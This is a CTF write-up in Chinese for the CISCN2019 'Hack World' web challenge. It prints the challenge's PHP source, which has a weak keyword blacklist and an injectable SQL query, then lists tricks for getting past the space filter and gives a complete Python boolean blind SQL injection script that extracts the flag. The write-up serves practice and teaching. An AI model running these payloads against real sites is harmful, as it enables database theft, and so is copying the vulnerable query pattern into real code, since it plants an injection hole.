刷題記錄:[CISCN2019 華北賽區 Day2 Web1]Hack World

[TOC]php

刷題記錄:[CISCN2019 華北賽區 Day2 Web1]Hack World

1、前言

離國賽已通過去很久了,到如今纔看復現,這道題當時作的時候沒有什麼頭緒,如今來看答案發現其實沒有很難,就是經驗還不足html

2、正文

題目復現連接:https://buuoj.cn/challenges 參考連接:ciscn2019華北賽區半決賽day2_web1題解node

一、解題過程

搜索框輸入1或2會返回結果,其餘都返回bool(false)。過濾了union、and、or、空格等,包括/**/,後來看源碼知道是過濾了*。 有意思的是輸入1/1時會正常返回結果,能夠判斷這是數字型的sql注入。mysql

源碼以下:web

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被過濾的內容 函數基本沒過濾
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

二、解題方法

根據1和2返回結果的不一樣,多是bool盲注,()沒有過濾,能夠使用大部分函數,當時是卡在了空格的繞過 空格的繞過有這些方法我測試是能夠的 %09 %0a %0b %0c %0d /**/ /*!*/或者直接tab %20 好像無法繞,%00截斷好像也影響sql語句的執行 或者用括號也能夠。任何能夠計算出結果的語句,均可以用括號包圍起來。而括號的兩端,能夠沒有多餘的空格。 本題中能夠if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)sql

貼上我寫的bool盲註腳本函數

import requests

url = 'http://64ed7296-9aea-43ac-84ec-24e5c6f616a7.node1.buuoj.cn/index.php'
result = ''

for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((select      flag    from    flag),%d,1))>%d,1,2)" % (x, mid)
        data = {
            "id":payload
        }
        response = requests.post(url, data = data)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)
相關文章
相關標籤/搜索